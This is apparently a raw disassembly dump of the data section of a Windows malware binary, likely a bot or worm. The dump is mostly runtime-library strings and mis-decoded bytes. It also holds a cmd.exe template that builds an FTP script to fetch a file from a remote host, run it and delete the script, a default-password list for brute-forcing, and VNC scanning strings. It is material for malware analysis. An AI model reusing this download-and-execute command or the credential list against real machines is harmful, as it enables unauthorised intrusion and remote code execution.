dbl_41B8B0	dq 1.666666666666667e-1	; DATA XREF: sub_40C0E1:loc_40C0FCr
dbl_41B8B8	dq 1.333333333333333	; DATA XREF: sub_40C62F:loc_40C6ACr
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40C7B0+60o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aSS_		db '%s// %s.',0         ; DATA XREF: sub_40C878+1A4o
		align 4
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user %s %s >> o &echo get %s >> o'
					; DATA XREF: sub_40C878+5Do
					; .text:0040CFEEo
		db ' &echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 10h
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user %s %s >> ii &echo get %s '
					; DATA XREF: sub_40CA59+A4o
		db '>> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .text:00420F68o
		align 10h
aPass		db 'pass',0             ; DATA XREF: .text:00420F64o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .text:00420F60o
		align 10h
aServer_1	db 'server',0           ; DATA XREF: .text:00420F5Co
		align 4
aFtp		db 'ftp',0              ; DATA XREF: .text:00420F58o
aPassword_0	db 'password',0         ; DATA XREF: .text:00420F54o
		align 4
aVnc		db 'vnc',0              ; DATA XREF: .text:00420F50o
aCam		db 'cam',0              ; DATA XREF: .text:00420F4Co
aTest		db 'test',0             ; DATA XREF: .text:00420F48o
		align 4
aAbc		db 'abc',0              ; DATA XREF: .text:00420F44o
a123456		db '123456',0           ; DATA XREF: .text:00420F40o
		align 4
a12345		db '12345',0            ; DATA XREF: .text:00420F3Co
		align 4
a1234		db '1234',0             ; DATA XREF: .text:00420F38o
		align 4
a123		db '123',0              ; DATA XREF: .text:off_420F34o
aSystemrootSyst	db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: sub_40CDF0+Ao
		align 4
aV_n_cD_DSSNo__	db 'V.N.C%d.%d %s: %s - No..Pass',0 ; DATA XREF: .text:0040D5B3o
		align 4
aV_n_cD_DSSS	db 'V.N.C%d.%d %s: %s - %s',0 ; DATA XREF: .text:0040D4B5o
		align 10h
aV_n_cD_DSSFree	db 'V.N.C%d.%d %s: %s - FREE',0 ; DATA XREF: .text:0040D3DEo
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:0040D08Eo
					; .text:0040D0C8o ...
		align 4
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_40DD0D+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_40DD0Do
		align 10h
oword_41BB00	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: sub_40F5A0+E3r
oword_41BB10	xmmword	4330000000000000433h ; DATA XREF: sub_40F5A0+46r
oword_41BB20	xmmword	4330000000000000BFF0000000000000h ; DATA XREF: sub_40F5A0+10Er
oword_41BB30	xmmword	80000000000000008000000000000000h
					; DATA XREF: sub_40F5A0:loc_40F69Dr
					; sub_40F5A0+106r
oword_41BB40	xmmword	7FFh		; DATA XREF: sub_40F5A0+5Fr
dword_41BB50	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_40F6D4+Eo
		dd 3, 19930520h, 2 dup(0)
oword_41BB70	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: sub_40F710+E3r
					; sub_40F710+10Ar
oword_41BB80	xmmword	4330000000000000433h ; DATA XREF: sub_40F710+46r
oword_41BB90	xmmword	0		; DATA XREF: sub_40F710:loc_40F811r
oword_41BBA0	xmmword	7FFh		; DATA XREF: sub_40F710+5Fr
dbl_41BBB0	db 0, 0, 0, 0, 0, 0, 0,	80h ; DATA XREF: sub_40F710:loc_40F80Ar
stru_41BBB8	_msEH <0FFFFFFFFh, offset loc_40F9F1, offset loc_40FA05>
					; DATA XREF: .text:0040F854o
		align 8
byte_41BBC8	db 6			; DATA XREF: sub_40FBCF:loc_40FC30r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .text:off_42125Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .text:off_421258o
		align 10h
stru_41BC40	_msEH <0FFFFFFFFh, offset loc_410EB6, offset loc_410EBA>
					; DATA XREF: sub_41095C+5o
		align 10h
stru_41BC50	_msEH <0FFFFFFFFh, offset loc_4115DF, offset loc_4115E3>
					; DATA XREF: sub_4115B2+2o
		align 10h
stru_41BC60	_msEH <0FFFFFFFFh, offset loc_411623, offset loc_411627>
					; DATA XREF: .text:004115F8o
		align 10h
stru_41BC70	_msEH <0FFFFFFFFh, offset sub_411B91, offset loc_411B95>
					; DATA XREF: sub_411BA5-2Fo
		align 10h
dbl_41BC80	dq 0.0			; DATA XREF: sub_411C56+6r
					; sub_4165AD+8Dr ...
dword_41BC88	dd 30302B65h, 30h	; DATA XREF: sub_411CCB+95o
dbl_41BC90	dq 1.0			; DATA XREF: sub_411FA8+2Ar
					; sub_4142AA+6Dr ...
dbl_41BC98	dq 4.195835e6		; DATA XREF: sub_411FA8+Fr
dbl_41BCA0	dq 3.145727e6		; DATA XREF: sub_411FA8+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_411FE8+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_411FE8o
		align 10h
dword_41BCD0	dd 2 dup(0)		; DATA XREF: sub_412ED1+1Co
					; sub_41512C+1Eo
stru_41BCD8	_msEH <0FFFFFFFFh, offset loc_4131CA, offset loc_4131CE>
					; DATA XREF: sub_412ED1+2o
		dd 0FFFFFFFFh, 412FC7h,	412FCBh, 0FFFFFFFFh, 413095h, 413099h
		dd 0
		db 2 dup(0)
word_41BD02	dw 20h			; DATA XREF: sub_416CB5+18r
					; .text:off_4214ECo
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 41h dup(0)
dword_41BF08	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .text:004214F0o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
stru_41C110	_msEH <0FFFFFFFFh, 0, offset sub_4137B3> ; DATA	XREF: sub_41370C+2o
		align 10h
		dd offset loc_413779
		dd offset loc_413782
stru_41C128	_msEH <0FFFFFFFFh, offset sub_4137FD, offset loc_413806>
					; DATA XREF: sub_4137C9+2o
		align 8
stru_41C138	_msEH <0FFFFFFFFh, 0, offset sub_41395D> ; DATA	XREF: sub_41382B+2o
		align 8
		dd offset loc_4138A5
		dd offset loc_4138E8
stru_41C150	_msEH <0FFFFFFFFh, offset sub_413B31, offset loc_413B35>
					; DATA XREF: sub_4139C1+2o
		align 10h
stru_41C160	_msEH <0FFFFFFFFh, offset loc_413EFC, offset loc_413F00>
					; DATA XREF: sub_413EDF+2o
		align 10h
stru_41C170	_msEH <0FFFFFFFFh, offset loc_413F29, offset loc_413F2D>
					; DATA XREF: sub_413F0C+2o
		dd 2 dup(0)
		dd 7FF00000h, 0
		dd 0FFF00000h, 0
		dd 7FE00000h, 0
		dd 200000h, 3 dup(0)
		dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h,	0FFC00000h
		dd 0
		dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h,	8DA24260h
		dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
aAtan		db 'atan',0             ; DATA XREF: sub_413F8C:loc_4141C8o
		align 10h
aCeil		db 'ceil',0             ; DATA XREF: sub_413F8C:loc_4141BFo
		align 4
aFloor		db 'floor',0            ; DATA XREF: sub_413F8C:loc_4141B6o
		align 10h
aModf		db 'modf',0             ; DATA XREF: sub_413F8C+212o
		align 4
aExp2		db 'exp2',0             ; DATA XREF: sub_413F8C:loc_414141o
		align 10h
aExp10		db 'exp10',0            ; DATA XREF: sub_413F8C+1A5o
		align 4
aLog2		db 'log2',0             ; DATA XREF: sub_413F8C:loc_41410Eo
					; sub_413F8C+195o
		align 10h
aPow		db 'pow',0              ; DATA XREF: sub_413F8C:loc_414039o
					; sub_413F8C+D2o ...
aLog_0		db 'log',0              ; DATA XREF: sub_413F8C:loc_414017o
					; sub_413F8C+9Ao ...
aLog10		db 'log10',0            ; DATA XREF: sub_413F8C:loc_413FFCo
					; sub_413F8C+7Fo ...
		align 10h
aExp		db 'exp',0              ; DATA XREF: sub_413F8C+51o
					; sub_413F8C+64o ...
		align 8
stru_41C238	_msEH <0FFFFFFFFh, offset loc_41423F, offset loc_414243>
					; DATA XREF: sub_41421E+2o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_421524o
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4144B2+12Co
					; sub_41533C+134o
		align 4
asc_41C568	db 0Ah			; DATA XREF: sub_4144B2+110o
					; sub_41533C+101o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4144B2+FEo
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4144B2+CAo
					; sub_41533C+D1o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4144B2+89o
					; sub_41533C+88o
		align 8
stru_41C5A8	_msEH <0FFFFFFFFh, offset loc_415205, offset loc_415209>
					; DATA XREF: sub_41512C+2o
dword_41C5B4	dd 676F7250h, 3A6D6172h, 20h ; DATA XREF: sub_41533C+10Do
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: sub_41533C+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0 ; DATA XREF: sub_41533C:loc_415399o
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: sub_41533C+4Fo
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
aUnknownSecurit	db 'Unknown security failure detected!',0 ; DATA XREF: sub_41533C+4Ao
		align 4
stru_41C758	_msEH <0FFFFFFFFh, offset loc_415377, offset loc_41537B>
					; DATA XREF: sub_41533C+5o
		align 8
stru_41C768	_msEH <0FFFFFFFFh, offset loc_416104, offset loc_416108>
					; DATA XREF: sub_41602F+2o
a_nextafter	db '_nextafter',0
		align 10h
a_logb		db '_logb',0
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aFabs		db 'fabs',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_416BBC+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_416BBC+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_416BBC+47o
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_416BBC+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_416BBC+2Eo
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_417423:loc_417512o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_417423+D2o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_417423+C1o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_417423+A7o
		align 4
		dd offset dword_41C94C
off_41C890	dd offset loc_417D27	; DATA XREF: sub_417CC2+20o
					; sub_417D0C+8o ...
		dd offset sub_417CFE
		dd offset dword_41C998
off_41C89C	dd offset loc_417D43	; DATA XREF: sub_417D5Fo
					; sub_417E2C+33o ...
		dd offset sub_417CFE
		dd offset dword_41C9E4
off_41C8A8	dd offset loc_417D6A	; DATA XREF: sub_417D86o
					; sub_417D91+33o ...
		dd offset sub_417CFE
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_417D91+Do
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_417E2C+Do
		dd offset dword_41CA28
off_41C8DC	dd offset loc_417F07	; DATA XREF: sub_417EF2o
					; .text:off_421A54o ...
; ---------------------------------------------------------------------------
		push	esp
		retf	41h
; ---------------------------------------------------------------------------
off_41C8E4	dd offset loc_417FA1	; DATA XREF: sub_417F23+Ao
					; sub_417F34+8o ...
		dd offset sub_417F94
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_417F94+7o
		align 10h
off_41C900	dd offset off_421A54	; DATA XREF: .text:0041C934o
					; .text:0041C980o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41C918	dd offset off_421A6C	; DATA XREF: .text:0041C930o
					; .text:0041C97Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41C918
		dd offset off_41C900
dword_41C938	dd 3 dup(0)		; DATA XREF: .text:0041C95Co
		dd 2, 41C930h
dword_41C94C	dd 3 dup(0)		; DATA XREF: .text:0041C88Co
		dd offset off_421A6C
		dd offset dword_41C938+4
off_41C960	dd offset off_421A8C	; DATA XREF: .text:0041C978o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41C960
		dd offset off_41C918
		dd offset off_41C900
		dd 0
		db    0			; DATA XREF: .text:0041C9A8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41C978h
dword_41C998	dd 3 dup(0)		; DATA XREF: .text:0041C898o
		dd offset off_421A8C
		dd offset unk_41C988
off_41C9AC	dd offset off_421AAC	; DATA XREF: .text:0041C9C4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41C9AC
		dd offset off_41C918
		dd offset off_41C900
dword_41C9D0	dd 3 dup(0)		; DATA XREF: .text:0041C9F4o
		dd 3, 41C9C4h
dword_41C9E4	dd 3 dup(0)		; DATA XREF: .text:0041C8A4o
		dd offset off_421AAC
		dd offset dword_41C9D0+4
off_41C9F8	dd offset off_421ACC	; DATA XREF: .text:0041CA10o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41C9F8
		dd 0
		db    0			; DATA XREF: .text:0041CA38o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41CA10h
dword_41CA28	dd 3 dup(0)		; DATA XREF: .text:0041C8D8o
		dd offset off_421ACC
		dd offset unk_41CA18
		dd offset off_41C900
		dd 3 dup(0)
		dd 1, 41CA3Ch, 3 dup(0)
; ---------------------------------------------------------------------------
		push	esp
		sbb	al, [edx+0]
		inc	esp
		retf	41h
; ---------------------------------------------------------------------------
		dd 0
dword_41CA6C	dd 2 dup(0)		; DATA XREF: sub_4115B2+Co
					; sub_4115B2:loc_4115C5o
dword_41CA74	dd 0			; DATA XREF: .text:00411602o
					; .text:loc_411609o
		dd 0FFFFFFFFh, 417FBDh,	0
		dd offset loc_417FC5
		dd 1, 417FCDh, 2, 417FD5h
dword_41CA98	dd 19930520h, 4, 41CA78h, 4 dup(0) ; DATA XREF:	.text:loc_417FDDo
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 4	dup(0)
		dd offset sub_40C269
		align 10h
		dd offset loc_40C1F7
		dd 2 dup(2), 3,	1, 41CAD4h, 2 dup(0)
		dd 3, 1, 41CAE4h
dword_41CB1C	dd 19930520h, 4, 41CAB4h, 2, 41CAF4h, 2	dup(0)
					; DATA XREF: .text:loc_417FE7o
		dd 0FFFFFFFFh, 417FF1h
dword_41CB40	dd 19930520h, 1, 41CB38h, 4 dup(0) ; DATA XREF:	.text:loc_417FF9o
		dd 0FFFFFFFFh, 418003h,	0
		dd offset loc_41800B
dword_41CB6C	dd 19930520h, 2, 41CB5Ch, 4 dup(0) ; DATA XREF:	.text:loc_418013o
		dd 0FFFFFFFFh, 41802Fh,	19930520h, 1, 41CB88h, 5 dup(0)
		dd offset off_421A54
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	417F34h, 0
		dd offset off_421A6C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 28h,	417DD1h, 0
		dd offset off_421AAC
		align 10h
		dd 0FFFFFFFFh, 0
dword_41CBF8	dd 28h,	417E14h, 3, 41CBE4h, 41CBC8h, 41CBACh ;	DATA XREF: .text:0041CC1Co
dword_41CC10	dd 0			; DATA XREF: sub_417D91+2Ao
		dd offset sub_417D86
		dd 0
		dd offset dword_41CBF8+8
		dd 0FFFFFFFFh, 41801Dh
dword_41CC28	dd 19930520h, 1, 41CC20h, 4 dup(0) ; DATA XREF:	.text:loc_418025o
		dd 0FFFFFFFFh, 41802Fh
dword_41CC4C	dd 19930520h, 1, 41CC44h, 5 dup(0) ; DATA XREF:	.text:loc_418037o
		dd offset off_421A8C
		dd 0
		dd 0FFFFFFFFh, 0
dword_41CC7C	dd 28h,	417E6Ch, 3, 41CC68h, 41CBC8h, 41CBACh ;	DATA XREF: .text:0041CCA0o
dword_41CC94	dd 0			; DATA XREF: sub_417E2C+2Ao
		dd offset sub_417D5F
		align 10h
		dd offset dword_41CC7C+8
		dd 0FFFFFFFFh, 41801Dh,	19930520h, 1, 41CCA4h, 4 dup(0)
		dd 1CF7Ch, 2 dup(0)
		dd 1CFC8h, 19214h, 1CF68h, 2 dup(0)
		dd 1D022h, 19200h, 1CD88h, 2 dup(0)
		dd 1D4F0h, 19020h, 1CF48h, 2 dup(0)
		dd 1D528h, 191E0h, 1CD68h, 2 dup(0)
		dd 1D5ACh, 19000h, 1CF40h, 2 dup(0)
; ---------------------------------------------------------------------------
		retf	1D5h
; ---------------------------------------------------------------------------
		align 4
		dd 191D8h, 1CF58h, 2 dup(0)
		dd 1D618h, 191F0h, 5 dup(0)
		dd 77DD23D7h, 77DDACABh, 77DD590Bh, 77DD59F0h, 77DD5C55h
		dd 77DD189Ah, 77DD22EAh, 0
		dd 77E7C866h, 77E641EBh, 77F522F2h, 77E7F044h, 77E7C3A5h
		dd 77E6169Ah, 77E73FF9h, 77E77EE1h, 77E7C9E1h, 77E67702h
		dd 77E9C5B1h, 77EB9A84h, 77E7C9E7h, 77E781F9h, 77E79924h
		dd 77E77405h, 77E61BE6h, 77E77963h, 77EBAAFAh, 77E73628h
		dd 77E616B4h, 77E706B7h, 77E70396h, 77EBA994h, 77EBB1E7h
		dd 77E61A54h, 77EBA6E9h, 77EBA595h, 77E7A099h, 77E79F93h
		dd 77E70F89h, 77E61BB8h, 77E6AD34h, 77E76A2Eh, 77E7751Ah
		dd 77F5157Dh, 77E7AC37h, 77E704FCh, 77E75CB5h, 77E80656h
		dd 77E6BD13h, 77E74CABh, 77E76432h, 77E79D5Bh, 77E802FCh
		dd 77E78C17h, 77E73C49h, 77E79D8Ch, 77E7A837h, 77E6C0E3h
		dd 77E96645h, 77E80618h, 77E805D8h, 77E79C90h, 77E7A5FDh
		dd 77E78EAAh, 77E79424h, 77E794BFh, 77E75E67h, 77E75D9Eh
		dd 77E78B82h, 77E78C81h, 77E793EFh, 77E64106h, 77E64006h
		dd 77E75090h, 77E74D76h, 77E77797h, 77E73CE2h, 77E668D9h
		dd 77E7C657h, 77E77CCEh, 77E73BEFh, 77E73167h, 77E74672h
		dd 77E7513Ch, 77E65F4Ch, 77E76C1Ah, 77E75CEBh, 77F7E300h
		dd 77F7E21Fh, 77E7C706h, 77F53275h, 77E73196h, 77F5722Fh
		dd 77E7980Ah, 77E79E34h, 77E77CC4h, 77E6167Bh, 77E7FF2Eh
		dd 77E7339Ch, 77E7176Ch, 77E70192h, 77E7C2C4h, 77E7011Ah
		dd 77E7C726h, 77E76E0Bh, 77E7849Fh, 77E6C703h, 77E7A13Fh
		dd 77E78406h, 77F51597h, 77F516F8h, 77F6183Eh, 77E6D706h
		dd 77E6177Ah, 77E7C938h, 77E7C931h, 77E79C3Dh, 0
		dd 77428B97h, 0
; ---------------------------------------------------------------------------
		push	0FFFFFFC9h
		aam	77h
		retf	0D4BDh
; ---------------------------------------------------------------------------
		db 77h
		dd 77D4702Fh, 0
		dd 77C015E3h, 77C0162Dh, 77C0167Dh, 0
aPgVaVmnVPV	db 'PG!va vMN v v',0
		align 4
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB1746h, 71AB155Ah, 71AB5690h, 71AB8629h
		dd 71AB157Eh, 71AB41DAh, 71AB1746h, 71AB3C22h, 71AB3E5Dh
		dd 71AB1A6Dh, 71AB1836h, 71AB12F8h, 71ABD755h, 71AB2BBFh
		dd 71AB401Ch, 71AB1AF4h, 0
		db  57h	; W
		db 53h,	32h, 5Fh
		db  33h	; 3
		db 32h,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	2 dup(0)
		db  92h	; 
		align 2
aInternetopen_0	db 'InternetOpenA',0
aI		db 'i',0
aInternetclos_0	db 'InternetCloseHandle',0
		db '',0
aInternetread_0	db 'InternetReadFile',0
		align 2
aU		db '',0
aInternetopen_1	db 'InternetOpenUrlA',0
		align 2
aWininet_dll_0	db 'WININET.dll',0
		dw 329h
aSleep		db 'Sleep',0
		db ',',0
aClosehandle	db 'CloseHandle',0
		db  48h	; H
		db 2, 4Dh, 6Fh
aDule32next	db 'dule32Next',0
		align 4
		db 'x',0
aDeletefilea	db 'DeleteFileA',0
		dw 331h
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 261h
aOpenprocess	db 'OpenProcess',0
		db 0EFh	; 
		db 2, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 246h
aModule32firs_0	db 'Module32First',0
		db 'h',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
		align 2
		dw 293h
aReadprocessmem	db 'ReadProcessMemory',0
		dw 273h
aProcess32nex_0	db 'Process32Next',0
		dw 271h
aProcess32fir_0	db 'Process32First',0
		align 4
		db  65h	; e
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 167h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 15Ch
aGetlocaltime	db 'GetLocalTime',0
		align 2
		db '\',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
		db 0B6h	; 
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db  95h	; 
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db 0BEh	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  5Ah	; Z
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
aE		db 'e',0
aCreatethread	db 'CreateThread',0
		align 4
		db 0A6h	; 
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		db '',0
aExitprocess	db 'ExitProcess',0
		db  30h	; 0
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		db ':',0
aCopyfilea	db 'CopyFileA',0
		dw 148h
aGetfileattribu	db 'GetFileAttributesA',0
		align 10h
		db  92h	; 
		db 3, 6Ch, 73h
aTrcmpa		db 'trcmpA',0
		align 4
		db  65h	; e
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
aW		db 'W',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		jmp	short loc_41D226
; ---------------------------------------------------------------------------
		db 53h,	65h
; ---------------------------------------------------------------------------


loc_41D226:				; CODE XREF: .text:0041D222j
		jz	short loc_41D26D
		jb	short near ptr loc_41D299+3
		outsd
		jb	short near ptr loc_41D279+1
		outsd
		db	64h
		add	gs:[eax], al
		lodsb
		add	[ebp+78h], al
		imul	esi, [esp+edx*2+68h], 64616572h
; ---------------------------------------------------------------------------
		dw 0
		dd 72570376h, 46657469h, 656C69h, 7243004Ah, 65746165h
		dd 656C6946h, 13D0041h,	44746547h, 65766972h, 65707954h
		dd 15F0041h
; ---------------------------------------------------------------------------
		inc	edi


loc_41D26D:				; CODE XREF: .text:loc_41D226j
		db	65h
		jz	short loc_41D2BC
		outsd
		imul	esp, [bp+di+61h], 6972446Ch


loc_41D279:				; CODE XREF: .text:0041D22Bj
		jbe	short loc_41D2E0
		push	ebx
		jz	short near ptr loc_41D2EF+1
		imul	ebp, [esi+67h],	0E5004173h
		add	[esi+72h], al
		db	65h, 65h
		dec	esp
		imul	esp, [edx+72h],	797261h
		add	cl, cs:[edi+ebp*2+61h]
		db	64h
		dec	esp


loc_41D299:				; CODE XREF: .text:0041D228j
		imul	esp, [edx+72h],	41797261h
; ---------------------------------------------------------------------------
		dd 12F0000h
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 189h
		dd 50746547h
; ---------------------------------------------------------------------------


loc_41D2BC:				; CODE XREF: .text:loc_41D26Dj
		jb	short loc_41D32D
		arpl	[ecx+64h], ax
		db	64h
		jb	short near ptr loc_41D322+7
		jnb	short near ptr loc_41D337+2
; ---------------------------------------------------------------------------
		dw 0
		dd 694600C1h, 6C43646Eh, 65736Fh, 694600B8h, 6954656Ch
		dd 6F54656Dh
; ---------------------------------------------------------------------------


loc_41D2E0:				; CODE XREF: .text:loc_41D279j
		push	ebx
		jns	short near ptr loc_41D354+2
		jz	short near ptr loc_41D349+1
		insd
		push	esp
		imul	ebp, [ebp+65h],	0B70000h
		inc	esi


loc_41D2EF:				; CODE XREF: .text:0041D27Cj
		imul	ebp, [ebp+54h],	54656D69h
		outsd
		dec	esp
		outsd
		arpl	[ecx+6Ch], sp
		inc	esi
		imul	ebp, [ebp+54h],	656D69h
		into
		add	[esi+69h], al
		outsb
		db	64h
		dec	esi
		db	65h
		js	short near ptr loc_41D380+4
		inc	esi
		imul	ebp, [ebp+41h],	4600C500h
		imul	ebp, [esi+64h],	73726946h
		jz	short loc_41D368


loc_41D322:				; CODE XREF: .text:0041D2C1j
		imul	ebp, [ebp+41h],	2900000h
		push	edx
		db	65h
		popa


loc_41D32D:				; CODE XREF: .text:loc_41D2BCj
		db	64h
		inc	esi
		imul	ebp, [ebp+0], 5302F100h


loc_41D337:				; CODE XREF: .text:0041D2C4j
		db	65h
		jz	short loc_41D380
		imul	ebp, [ebp+50h],	746E696Fh
		db	65h
		jb	short $+3
		add	[ebp+1], cl
		inc	edi


loc_41D349:				; CODE XREF: .text:0041D2E3j
		db	65h
		jz	short near ptr loc_41D390+2
